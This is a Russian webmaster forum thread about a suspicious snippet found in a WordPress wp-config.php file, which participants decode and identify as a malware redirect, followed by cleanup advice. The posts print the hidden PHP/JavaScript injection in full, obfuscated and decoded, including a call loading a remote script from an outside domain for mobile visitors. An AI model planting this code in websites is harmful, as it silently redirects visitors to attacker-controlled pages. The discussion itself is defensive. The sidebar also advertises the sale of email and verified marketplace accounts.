Странный код
Страницы: 1
Странный код
Всем привет. Нашел на одном из сайтов странный код.
Никто не в курсе что это? Нужно нет? Может зверек какой?

if(@preg_match(strtr('/(mpdh|jame|jovo|mybp|mpnp|woh|simb|wpndyws.ce|h2yne|phod|drypd)/p', 'oyiph2a', 'aoyiph2'), $_SERVER['HTTP_USER_AGENT']) && @preg_match(strtr('/(gyygle|iondex|mopl|vk.cym)/p', 'oyiph2a', 'aoyiph2'), $_SERVER['HTTP_REFERER']) && @$_COOKIE['statCounter'] !=1){echo(strtr('<scrpht>vor exhTpme = new Dote();exhTpme.setTpme(exhTpme.getTpme() + 86400000);dycument.cyykpe = "stotCyunter=1; exhpres=" + exhTpme.tyGMTStrpng();</scrpht><scrpht tihe="text/jovoscrpht" src="2tth://brywser-securpti.net/r.h2h?l=2tth%3A%aF%aFbrywser-securpti.net%aF?o=uao4va744315xaw4uaw4a3ma54la­ua66xa13b4a3e4va940354"></scrp­ht>', 'oyiph2a', 'aoyiph2'));}
Заказ статей http://goo.gl/B8qO0y
Думаю, точно зверек. Иначе зачем кодировать код. Вот тот же код, но не кодированный:

Код
if(@preg_match('midp|j2me|java|mobi|mini|wap|symb|windows.ce|phone|ipad|droid'), $_SERVER['HTTP_USER_AGENT']) && @preg_match('google|yandex|mail|vk.com'),
$_SERVER['HTTP_REFERER']) && @$_COOKIE['statCounter'] !=1){
   echo '<script>
         var expTime = new Date();
         expTime.setTime(expTime.getTime() 86400000);
         document.cookie = "statCounter=1;
         expires=" expTime.toGMTString();
      </scrpht>
      <script type="text/javascript" src="http://browser-security.net/r.php?l=http://browser-security.net/?a=u2a4v2744315x2w4u2w423m254l2u266x213b423e4v2940354">';
}
на всякий случай удалил...из конфига....
Судя по верхней строке, бяка для мобильных устройств какая-то...
В чьем коде? моем или kg design?
Цитата
newdrivers пишет:
В чьем коде? моем или kg design?
Код тут один - ваш. Я просто его представил в читаемом виде. Это один и тот же код.
Если данный код был в файле wp-config.php - то это, на 99% вирус.
Он переадресовывает на рекламную страничку.
Цитата
kg design пишет:
Код тут один - ваш. Я просто его представил в читаемом виде. Это один и тот же код.
Ааа...все я понял Вас. Спасибо
Цитата
kg design пишет:
Если данный код был в файле wp-config.php - то это, на 99% вирус.
Да, там и был..и Яша ругался на мобильный редирект.
Цитата
video-freelancer пишет:
Он переадресовывает на рекламную страничку.
Вроде бы, все что мог по закрывал, переделал, обновил, поменял..а он бац...и все равно там...видать раньше был
Попробуйте осуществить данные меры:
01. Проверьте файлы сайта антивирусом. Обновите Wordpress (только не забудьте про бекап сайта и базы перед этим) - при обновлении перезапишутся файлы (но не все, к примеру, просмотрите wp-content  на предмет подозрительного). Таким образом почистим сайт, если вдруг там где-то сидит "генератор" данного кода.
02. Смените пароли от ftp, базы данных, админки сайта и админки хостинга. Таким образом пресечете возможность повторного появления вируса, если он получил доступ к сайту путем кражи пароля.
03. Присмотритесь к плагинам. Иногда попадаются "дырявые".
Должно помочь.
Цитата
kg design пишет:
Попробуйте осуществить данные меры:
01. Проверьте файлы сайта антивирусом. Обновите Wordpress (только не забудьте про бекап сайта и базы перед этим) - при обновлении перезапишутся файлы (но не все, к примеру, просмотритеwp-content на предмет подозрительного). Таким образом почистим сайт, если вдруг там где-то сидит "генератор" данного кода.
02. Смените пароли от ftp, базы данных, админки сайта и админки хостинга. Таким образом пресечете возможность повторного появления вируса, если он получил доступ к сайту путем кражи пароля.
03. Присмотритесь к плагинам. Иногда попадаются "дырявые".
Должно помочь.
Спасибо. Сегодня займусь
Страницы: 1
Похожие темы:
Читают тему (гостей: 1, пользователей: 0, из них скрытых: 0)
Новые темыОбъявленияСвободное общение
20:05 С чего сейчас проще начать? 
18:58 Яндекс Нейро и выдача в 2026 - остались ли лазейки для маленьких сайтов? 
18:49 Биржи ссылок в 2026 - реально ли новичку с одним сайтом поднять копейку? 
18:46 Гугл запустил Первый АПдейт года и серп уже трясёт - Google March 2026 Core Update 
13:09 Выбор CMS для первого блога в 2026 - реально ли новичку войти без кода? 
12:47 MAX попер в бурж: 40 стран, ведение каналов и горы дешевого трафика 
12:33 APK на паузе. Google убивает быстрый конверт 
20:37 BestX24 - быстрый и безопасный обменник криптовалют и электронных денежных средств 
19:58 SpeedyIndex - ускорение индексирования ссылок в Google. 100 ссылок в подарок. 
14:11 Продам аккаунты Gmail USA IP | Gmail MIX IP | Outlook Old 
09:40 Вериф аккаунты АВИТО + платежи 
09:22 Софт для рассылки в телеграм 
09:16 Telegram-бот конструктор: автоответы, воронки, поддержка и т.д 
00:05 TETChange-Обменник криптовалют 
18:19 8 марта: желаю аптайма 99.9% и e-e-a-t без локов 
18:11 Голландцы влепили Grok по яйцам - теперь нельзя раздевать реальных людей, штраф 100к евро в день 
13:04 Gartner обещал смерть SEO к 2026 году. Открываем метрику и проверяем 
18:49 Чак Норрис ушел - 19 марта 2026, 86 лет, семья подтвердила 
17:05 Огородники 
13:02 С юмором по жизни! 
05:10 Точные прогнозы на футбол